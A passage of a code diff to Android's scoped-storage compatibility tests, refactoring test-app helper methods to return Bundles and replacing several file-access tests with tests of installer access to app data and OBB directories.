-        };
-        sendIntentToTestApp(testApp, dirPath, actionName, broadcastReceiver, latch);
-        if (exception[0] != null) {
-            throw exception[0];
-        }
-        return appOutputList;
+        Bundle bundle = getFromTestApp(testApp, dirPath, actionName);
+        return (HashMap<String, String>) bundle.get(actionName);
     }
 
     /**
@@ -987,27 +1380,8 @@
      */
     private static ArrayList<String> getContentsFromTestApp(
             TestApp testApp, String dirPath, String actionName) throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final ArrayList<String> appOutputList = new ArrayList<String>();
-        final Exception[] exception = new Exception[1];
-        exception[0] = null;
-        final BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                if (intent.hasExtra(INTENT_EXCEPTION)) {
-                    exception[0] = (Exception) (intent.getSerializableExtra(INTENT_EXCEPTION));
-                } else if (intent.hasExtra(actionName)) {
-                    appOutputList.addAll(intent.getStringArrayListExtra(actionName));
-                }
-                latch.countDown();
-            }
-        };
-
-        sendIntentToTestApp(testApp, dirPath, actionName, broadcastReceiver, latch);
-        if (exception[0] != null) {
-            throw exception[0];
-        }
-        return appOutputList;
+        Bundle bundle = getFromTestApp(testApp, dirPath, actionName);
+        return bundle.getStringArrayList(actionName);
     }
 
     /**
@@ -1015,8 +1389,23 @@
      */
     private static boolean getResultFromTestApp(TestApp testApp, String dirPath, String actionName)
             throws Exception {
+        Bundle bundle = getFromTestApp(testApp, dirPath, actionName);
+        return bundle.getBoolean(actionName, false);
+    }
+
+    private static ParcelFileDescriptor getPfdFromTestApp(TestApp testApp, File dirPath,
+            String actionName, String mode) throws Exception {
+        Bundle bundle = getFromTestApp(testApp, dirPath.getPath(), actionName);
+        return getContentResolver().openFileDescriptor(bundle.getParcelable(actionName), mode);
+    }
+
+    /**
+     * <p>This method drops shell permission identity.
+     */
+    private static Bundle getFromTestApp(TestApp testApp, String dirPath, String actionName)
+            throws Exception {
         final CountDownLatch latch = new CountDownLatch(1);
-        final boolean[] appOutput = new boolean[1];
+        final Bundle[] bundle = new Bundle[1];
         final Exception[] exception = new Exception[1];
         exception[0] = null;
         BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
@@ -1024,8 +1413,8 @@
             public void onReceive(Context context, Intent intent) {
                 if (intent.hasExtra(INTENT_EXCEPTION)) {
                     exception[0] = (Exception) (intent.getSerializableExtra(INTENT_EXCEPTION));
-                } else if (intent.hasExtra(actionName)) {
-                    appOutput[0] = intent.getBooleanExtra(actionName, false);
+                } else {
+                    bundle[0] = intent.getExtras();
                 }
                 latch.countDown();
             }
@@ -1035,7 +1424,35 @@
         if (exception[0] != null) {
             throw exception[0];
         }
-        return appOutput[0];
+        return bundle[0];
+    }
+
+    /**
+     * <p>This method drops shell permission identity.
+     */
+    private static Bundle getFromTestApp(TestApp testApp, Uri uri, String actionName)
+            throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final Bundle[] bundle = new Bundle[1];
+        final Exception[] exception = new Exception[1];
+        exception[0] = null;
+        BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (intent.hasExtra(INTENT_EXCEPTION)) {
+                    exception[0] = (Exception) (intent.getSerializableExtra(INTENT_EXCEPTION));
+                } else {
+                    bundle[0] = intent.getExtras();
+                }
+                latch.countDown();
+            }
+        };
+
+        sendIntentToTestApp(testApp, uri, actionName, broadcastReceiver, latch);
+        if (exception[0] != null) {
+            throw exception[0];
+        }
+        return bundle[0];
     }
 
     /**
@@ -1043,7 +1460,7 @@
      *
      * <p>This method drops shell permission identity.
      */
-    private static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
+    public static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
         adoptShellPermissionIdentity(null);
         try {
             for (String op : ops) {
@@ -1060,19 +1477,25 @@
      */
     @NonNull
     public static Cursor queryFileExcludingPending(@NonNull File file, String... projection) {
-        return queryFile(MediaStore.Files.getContentUri(sStorageVolumeName), file,
-                /*includePending*/ false, projection);
+        return queryFile(getContentResolver(), MediaStore.Files.getContentUri(sStorageVolumeName),
+                file, /*includePending*/ false, projection);
+    }
+
+    @NonNull
+    public static Cursor queryFile(ContentResolver cr, @NonNull File file, String... projection) {
+        return queryFile(cr, MediaStore.Files.getContentUri(sStorageVolumeName),
+                file, /*includePending*/ true, projection);
     }
 
     @NonNull
     public static Cursor queryFile(@NonNull File file, String... projection) {
-        return queryFile(MediaStore.Files.getContentUri(sStorageVolumeName), file,
-                /*includePending*/ true, projection);
+        return queryFile(getContentResolver(), MediaStore.Files.getContentUri(sStorageVolumeName),
+                file, /*includePending*/ true, projection);
     }
 
     @NonNull
-    private static Cursor queryFile(@NonNull Uri uri, @NonNull File file, boolean includePending,
-            String... projection) {
+    private static Cursor queryFile(ContentResolver cr, @NonNull Uri uri, @NonNull File file,
+            boolean includePending, String... projection) {
         Bundle queryArgs = new Bundle();
         queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION,
                 MediaStore.MediaColumns.DATA + " = ?");
@@ -1086,7 +1509,7 @@
             queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_EXCLUDE);
         }
 
-        final Cursor c = getContentResolver().query(uri, projection, queryArgs, null);
+        final Cursor c = cr.query(uri, projection, queryArgs, null);
         assertThat(c).isNotNull();
         return c;
     }
@@ -1116,7 +1539,7 @@
         // Unmount data and obb dirs for test app first so test app won't be killed during
         // volume unmount.
         executeShellCommand("sm unmount-app-data-dirs " + getContext().getPackageName() + " "
-                        + android.os.Process.myPid() + " " + android.os.UserHandle.myUserId());
+                    + android.os.Process.myPid() + " " + android.os.UserHandle.myUserId());
         pollForCondition(TestUtils::isObbDirUnmounted,
                 "Timed out while waiting for unmounting obb dir");
         executeShellCommand("sm set-force-adoptable on");
@@ -1139,19 +1562,22 @@
     }
 
     /**
-     * Gets the name of the public volume.
+     * Gets the name of the public volume, waiting for a bit for it to be available.
      */
     public static String getPublicVolumeName() throws Exception {
         final String[] volName = new String[1];
         pollForCondition(() -> {
-            volName[0] = getPublicVolumeNameInternal();
+            volName[0] = getCurrentPublicVolumeName();
             return volName[0] != null;
         }, "Timed out while waiting for public volume to be ready");
 
         return volName[0];
     }
 
-    private static String getPublicVolumeNameInternal() {
+    /**
+     * @return the currently mounted public volume, if any.
+     */
+    public static String getCurrentPublicVolumeName() {
         final String[] allVolumeDetails;
         try {
             allVolumeDetails = executeShellCommand("sm list-volumes")
@@ -1199,4 +1625,26 @@
                 () -> Environment.isExternalStorageManager(),
                 "Timed out while waiting for MANAGE_EXTERNAL_STORAGE");
     }
+
+    private static void assertVolumeType(boolean isPrimary) {
+        String[] parts = getExternalFilesDir().getAbsolutePath().split("/");
+        assertThat(parts.length).isAtLeast(3);
+        assertThat(parts[1]).isEqualTo("storage");
+        if (isPrimary) {
+            assertThat(parts[2]).isEqualTo("emulated");
+        } else {
+            assertThat(parts[2]).isNotEqualTo("emulated");
+        }
+    }
+
+    private static boolean isProcessRunning(String packageName) {
+        return getAppProcessInfo(packageName).isPresent();
+    }
+
+    private static Optional<ActivityManager.RunningAppProcessInfo> getAppProcessInfo(
+            String packageName) {
+        return getContext().getSystemService(
+                ActivityManager.class).getRunningAppProcesses().stream().filter(
+                        p -> packageName.equals(p.processName)).findFirst();
+    }
 }
diff --git a/hostsidetests/scopedstorage/res/raw/test_audio.mp3 b/hostsidetests/scopedstorage/res/raw/test_audio.mp3
new file mode 100644
index 0000000..4fe9228
--- /dev/null
+++ b/hostsidetests/scopedstorage/res/raw/test_audio.mp3
Binary files differ
diff --git a/hostsidetests/scopedstorage/res/xml/file_paths.xml b/hostsidetests/scopedstorage/res/xml/file_paths.xml
new file mode 100644
index 0000000..2d5ccaf
--- /dev/null
+++ b/hostsidetests/scopedstorage/res/xml/file_paths.xml
@@ -0,0 +1,3 @@
+<external-paths xmlns:android="http://schemas.android.com/apk/res/android">
+   <external-path name="external_files" path="."/>
+</external-paths>
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
index e1fed5d..ac03d37 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
@@ -22,6 +22,7 @@
 
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 
@@ -38,4 +39,9 @@
         TestUtils.setExternalStorageVolume(volumeName);
         super.setup();
     }
+
+    @After
+    public void resetExternalStorageVolume() {
+        TestUtils.resetDefaultExternalStorageVolume();
+    }
 }
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 99fc1a3..78fc347 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -16,145 +16,88 @@
 
 package android.scopedstorage.cts;
 
-import static android.app.AppOpsManager.permissionToOp;
-import static android.os.SystemProperties.getBoolean;
-import static android.provider.MediaStore.MediaColumns;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA1;
-import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
-import static android.scopedstorage.cts.lib.TestUtils.STR_DATA1;
-import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
 import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdentity;
-import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
-import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanAccessPrivateAppAndroidDataDir;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanAccessPrivateAppAndroidObbDir;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
+import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
 import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
 import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
-import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
-import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
-import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
 import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir;
 import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
-import static android.scopedstorage.cts.lib.TestUtils.getAudiobooksDir;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
 import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
 import static android.scopedstorage.cts.lib.TestUtils.getDefaultTopLevelDirs;
-import static android.scopedstorage.cts.lib.TestUtils.getDocumentsDir;
 import static android.scopedstorage.cts.lib.TestUtils.getDownloadDir;
 import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getExternalMediaDir;
 import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
-import static android.scopedstorage.cts.lib.TestUtils.getFileMimeTypeFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
-import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
 import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
-import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
 import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getRingtonesDir;
-import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
-import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
-import static android.scopedstorage.cts.lib.TestUtils.listAs;
-import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
-import static android.scopedstorage.cts.lib.TestUtils.queryFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
-import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
-import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
-import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
-import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalDirsViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
 import static android.system.OsConstants.F_OK;
-import static android.system.OsConstants.O_APPEND;
-import static android.system.OsConstants.O_CREAT;
-import static android.system.OsConstants.O_EXCL;
-import static android.system.OsConstants.O_RDWR;
-import static android.system.OsConstants.O_TRUNC;
 import static android.system.OsConstants.R_OK;
-import static android.system.OsConstants.S_IRWXU;
 import static android.system.OsConstants.W_OK;
 
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
 
 import static junit.framework.Assert.assertFalse;
 import static junit.framework.Assert.assertTrue;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
-import android.app.AppOpsManager;
 import android.app.WallpaperManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.database.Cursor;
 import android.net.Uri;
-import android.os.Bundle;
 import android.os.Environment;
-import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
-import android.os.Process;
+import android.os.storage.StorageManager;
 import android.platform.test.annotations.AppModeInstant;
 import android.provider.MediaStore;
 import android.system.ErrnoException;
 import android.system.Os;
-import android.system.StructStat;
 import android.util.Log;
 
-import androidx.annotation.Nullable;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.install.lib.TestApp;
 
-import com.google.common.io.Files;
-
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.File;
-import java.io.FileDescriptor;
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
 
 /**
  * Runs the scoped storage tests on primary external storage.
@@ -164,7 +107,6 @@
 @RunWith(AndroidJUnit4.class)
 public class ScopedStorageTest {
     static final String TAG = "ScopedStorageTest";
-    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
     static final String THIS_PACKAGE_NAME = getContext().getPackageName();
     static final int USER_SYSTEM = 0;
 
@@ -178,32 +120,25 @@
     static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
 
     static final String AUDIO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp3";
-    static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".m3u";
-    static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".srt";
-    static final String VIDEO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp4";
     static final String IMAGE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".jpg";
     static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".pdf";
 
-    static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
-
-    private static final TestApp TEST_APP_A = new TestApp("TestAppA",
-            "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
-    private static final TestApp TEST_APP_B = new TestApp("TestAppB",
-            "android.scopedstorage.cts.testapp.B", 1, false, "CtsScopedStorageTestAppB.apk");
-    private static final TestApp TEST_APP_C = new TestApp("TestAppC",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
-    private static final TestApp TEST_APP_C_LEGACY = new TestApp("TestAppCLegacy",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
-    private static final String[] SYSTEM_GALERY_APPOPS = {
-            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
-    private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
-            permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
+    private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
+    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
+    // A legacy targeting app with RES and WES permissions
+    private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
 
     @Before
     public void setup() throws Exception {
-        // skips all test cases if FUSE is not active.
-        assumeTrue(getBoolean("persist.sys.fuse", false));
-
         if (!getContext().getPackageManager().isInstantApp()) {
             pollForExternalStorageState();
             getExternalFilesDir().mkdirs();
@@ -219,1424 +154,25 @@
     }
 
     /**
-     * Test that we enforce certain media types can only be created in certain directories.
+     * Test that Installer packages can access app's private directories in Android/obb
      */
     @Test
-    public void testTypePathConformity() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File documentsDir = getDocumentsDir();
-        final File downloadDir = getDownloadDir();
-        final File moviesDir = getMoviesDir();
-        final File musicDir = getMusicDir();
-        final File picturesDir = getPicturesDir();
-        // Only audio files can be created in Music
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(musicDir, NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(musicDir, VIDEO_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(musicDir, IMAGE_FILE_NAME).createNewFile(); });
-        // Only video files can be created in Movies
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(moviesDir, NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(moviesDir, AUDIO_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(moviesDir, IMAGE_FILE_NAME).createNewFile(); });
-        // Only image and video files can be created in DCIM
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(dcimDir, NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(dcimDir, AUDIO_FILE_NAME).createNewFile(); });
-        // Only image and video files can be created in Pictures
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(picturesDir, NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(picturesDir, AUDIO_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(picturesDir, PLAYLIST_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(dcimDir, SUBTITLE_FILE_NAME).createNewFile(); });
-
-        assertCanCreateFile(new File(getAlarmsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(getAudiobooksDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(dcimDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(dcimDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, NONMEDIA_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, NONMEDIA_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(moviesDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(moviesDir, SUBTITLE_FILE_NAME));
-        assertCanCreateFile(new File(musicDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(musicDir, PLAYLIST_FILE_NAME));
-        assertCanCreateFile(new File(getNotificationsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(picturesDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(picturesDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(getPodcastsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(getRingtonesDir(), AUDIO_FILE_NAME));
-
-        // No file whatsoever can be created in the top level directory
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(getExternalStorageDir(), NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(getExternalStorageDir(), AUDIO_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(getExternalStorageDir(), IMAGE_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(getExternalStorageDir(), VIDEO_FILE_NAME).createNewFile(); });
+    public void testCheckInstallerAppAccessToObbDirs() throws Exception {
+        assertCanAccessPrivateAppAndroidObbDir(true /*canAccess*/, APP_B_NO_PERMS,
+                THIS_PACKAGE_NAME, NONMEDIA_FILE_NAME);
+        final int uid = getContext().getPackageManager().getPackageUid(THIS_PACKAGE_NAME, 0);
+        assertMountMode(THIS_PACKAGE_NAME, uid, StorageManager.MOUNT_MODE_EXTERNAL_INSTALLER);
     }
 
     /**
-     * Test that we can create a file in app's external files directory,
-     * and that we can write and read to/from the file.
+     * Test that Installer packages cannot access app's private directories in Android/data
      */
     @Test
-    public void testCreateFileInAppExternalDir() throws Exception {
-        final File file = new File(getExternalFilesDir(), "text.txt");
-        try {
-            assertThat(file.createNewFile()).isTrue();
-            assertThat(file.delete()).isTrue();
-            // Ensure the file is properly deleted and can be created again
-            assertThat(file.createNewFile()).isTrue();
-
-            // Write to file
-            try (final FileOutputStream fos = new FileOutputStream(file)) {
-                fos.write(BYTES_DATA1);
-            }
-
-            // Read the same data from file
-            assertFileContent(file, BYTES_DATA1);
-        } finally {
-            file.delete();
-        }
-    }
-
-    /**
-     * Test that we can't create a file in another app's external files directory,
-     * and that we'll get the same error regardless of whether the app exists or not.
-     */
-    @Test
-    public void testCreateFileInOtherAppExternalDir() throws Exception {
-        // Creating a file in a non existent package dir should return ENOENT, as expected
-        final File nonexistentPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        final File file1 = new File(nonexistentPackageFileDir, NONMEDIA_FILE_NAME);
-        assertThrows(
-                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> { file1.createNewFile(); });
-
-        // Creating a file in an existent package dir should give the same error string to avoid
-        // leaking installed app names, and we know the following directory exists because shell
-        // mkdirs it in test setup
-        final File shellPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-        final File file2 = new File(shellPackageFileDir, NONMEDIA_FILE_NAME);
-        assertThrows(
-                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> { file1.createNewFile(); });
-    }
-
-    /**
-     * Test that apps can't read/write files in another app's external files directory,
-     * and can do so in their own app's external file directory.
-     */
-    @Test
-    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
-        final File videoFile = new File(getExternalFilesDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create a file in app's external files directory
-            if (!videoFile.exists()) {
-                assertThat(videoFile.createNewFile()).isTrue();
-            }
-
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            // TEST_APP_A should not be able to read/write to other app's external files directory.
-            assertThat(openFileAs(TEST_APP_A, videoFile.getPath(), false /* forWrite */)).isFalse();
-            assertThat(openFileAs(TEST_APP_A, videoFile.getPath(), true /* forWrite */)).isFalse();
-            // TEST_APP_A should not be able to delete files in other app's external files
-            // directory.
-            assertThat(deleteFileAs(TEST_APP_A, videoFile.getPath())).isFalse();
-
-            // Apps should have read/write access in their own app's external files directory.
-            assertThat(canOpen(videoFile, false /* forWrite */)).isTrue();
-            assertThat(canOpen(videoFile, true /* forWrite */)).isTrue();
-            // Apps should be able to delete files in their own app's external files directory.
-            assertThat(videoFile.delete()).isTrue();
-        } finally {
-            videoFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that we can contribute media without any permissions.
-     */
-    @Test
-    public void testContributeMediaFile() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
-
-            // Ensure that the file was successfully added to the MediaProvider database
-            assertThat(getFileOwnerPackageFromDatabase(imageFile)).isEqualTo(THIS_PACKAGE_NAME);
-
-            // Try to write random data to the file
-            try (final FileOutputStream fos = new FileOutputStream(imageFile)) {
-                fos.write(BYTES_DATA1);
-                fos.write(BYTES_DATA2);
-            }
-
-            final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
-            assertFileContent(imageFile, expected);
-
-            // Closing the file after writing will not trigger a MediaScan. Call scanFile to update
-            // file's entry in MediaProvider's database.
-            assertThat(MediaStore.scanFile(getContentResolver(), imageFile)).isNotNull();
-
-            // Ensure that the scan was completed and the file's size was updated.
-            assertThat(getFileSizeFromDatabase(imageFile)).isEqualTo(
-                    BYTES_DATA1.length + BYTES_DATA2.length);
-        } finally {
-            imageFile.delete();
-        }
-        // Ensure that delete makes a call to MediaProvider to remove the file from its database.
-        assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
-    }
-
-    @Test
-    public void testCreateAndDeleteEmptyDir() throws Exception {
-        final File externalFilesDir = getExternalFilesDir();
-        // Remove directory in order to create it again
-        externalFilesDir.delete();
-
-        // Can create own external files dir
-        assertThat(externalFilesDir.mkdir()).isTrue();
-
-        final File dir1 = new File(externalFilesDir, "random_dir");
-        // Can create dirs inside it
-        assertThat(dir1.mkdir()).isTrue();
-
-        final File dir2 = new File(dir1, "random_dir_inside_random_dir");
-        // And create a dir inside the new dir
-        assertThat(dir2.mkdir()).isTrue();
-
-        // And can delete them all
-        assertThat(dir2.delete()).isTrue();
-        assertThat(dir1.delete()).isTrue();
-        assertThat(externalFilesDir.delete()).isTrue();
-
-        // Can't create external dir for other apps
-        final File nonexistentPackageFileDir = new File(
